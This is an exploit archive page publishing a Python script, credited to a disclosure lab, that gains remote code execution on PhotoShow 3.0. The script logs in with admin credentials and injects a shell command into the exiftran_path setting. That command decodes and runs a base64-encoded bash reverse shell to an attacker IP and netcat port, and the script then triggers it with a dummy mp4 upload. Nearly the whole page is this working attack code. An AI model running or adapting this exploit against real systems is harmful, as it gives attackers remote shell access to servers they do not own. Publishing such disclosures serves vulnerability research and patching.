exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PhotoShow 3.0 Remote Code Execution

PhotoShow 3.0 Remote Code Execution
Posted Apr 5, 2023
Authored by LSCP Responsible Disclosure Lab

PhotoShow version 3.0 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 14246926eb1f1e60b5bf1f3a7df5d506de3a1383d541d8ccc787aac9b2ec4c2b

PhotoShow 3.0 Remote Code Execution

Change Mirror Download
# Exploit Title: PhotoShow 3.0 - Remote Code Execution
# Date: January 11, 2023
# Exploit Author: LSCP Responsible Disclosure Lab
# Detailed Bug Description: https://lscp.llc/index.php/2021/07/19/how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0/
# Vendor Homepage: https://github.com/thibaud-rohmer
# Software Link: https://github.com/thibaud-rohmer/PhotoShow
# Version: 3.0
# Tested on: Ubuntu 20.04 LTS

# creds of a user with admin privileges required

import sys
import requests
import base64
import urllib.parse


if(len(sys.argv)!=6):
print('Usage: \n\tpython3 ' + sys.argv[0] + ' "login" ' +
'"password" "target_ip" "attacker_ip" "attacker_nc_port"')
quit()

login=sys.argv[1]
password=sys.argv[2]
targetIp = sys.argv[3]
attackerIp = sys.argv[4]
attackerNcPort = sys.argv[5]


def main():
session = requests.Session()
#login as admin user
logInSession(session, targetIp, login, password)
#change application behaviour for handling .mp4 video
uploadExpoit(session, targetIp, attackerIp, attackerNcPort)
#send the shell to attaker's nc by uploading .mp4 video
sendMP4Video(session, targetIp)
print("Check your netcat")

def logInSession(session, targetIp, login, password):
session.headers.update({'Content-Type' : "application/x-www-form-urlencoded"})
data = "login="+login+"&password="+password
url = "http://"+targetIp+"/?t=Login"
response= session.post(url, data=data)
phpsessid=response.headers.get("Set-Cookie").split(";")[0]
session.headers.update({'Cookie' : phpsessid})


def uploadExpoit(session, targetIp, attackerIp, attackerNcPort):
exiftranPathInjection=createInjection(attackerIp, attackerNcPort)
url = "http://"+targetIp+"/?t=Adm&a=Set"
data = "name=PhotoShow&site_address=&loc=default.ini&user_theme=Default&" \
+ "rss=on&max_comments=50&thumbs_size=200&fbappid=&ffmpeg_path=&encode_video=on&"\
+ "ffmpeg_option=-threads+4+-vcodec+libx264+-acodec+libfdk_aac&rotate_image=on&"\
+ exiftranPathInjection
session.post(url, data=data).content.decode('utf8')


def createInjection(attakerIp, attackerNcPort):
textToEncode = "bash -i >& /dev/tcp/"+attackerIp+"/"+attackerNcPort+" 0>&1"
b64Encoded = base64.b64encode(textToEncode.encode("ascii"))
strb64 = str(b64Encoded)
strb64 = strb64[2:len(strb64)-1]
injection = {"exiftran_path":"echo "+ strb64 +" | base64 -d > /tmp/1.sh ;/bin/bash /tmp/1.sh"}
return urllib.parse.urlencode(injection)

def sendMP4Video(session, targetIp):
session.headers.update({'Content-Type' : "multipart/form-data; "\
+"boundary=---------------------------752343701418612422363028651"})
url = "http://"+targetIp+"/?a=Upl"
data = """-----------------------------752343701418612422363028651\r
Content-Disposition: form-data; name="path"\r
\r
\r
-----------------------------752343701418612422363028651\r
Content-Disposition: form-data; name="inherit"\r
\r
1\r
-----------------------------752343701418612422363028651\r
Content-Disposition: form-data; name="images[]"; filename="a.mp4"\r
Content-Type: video/mp4\r
\r
a\r
-----------------------------752343701418612422363028651--\r
"""
try:
session.post(url, data=data, timeout=0.001)
except requests.exceptions.ReadTimeout:
pass


if __name__ =="__main__":
main()


Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close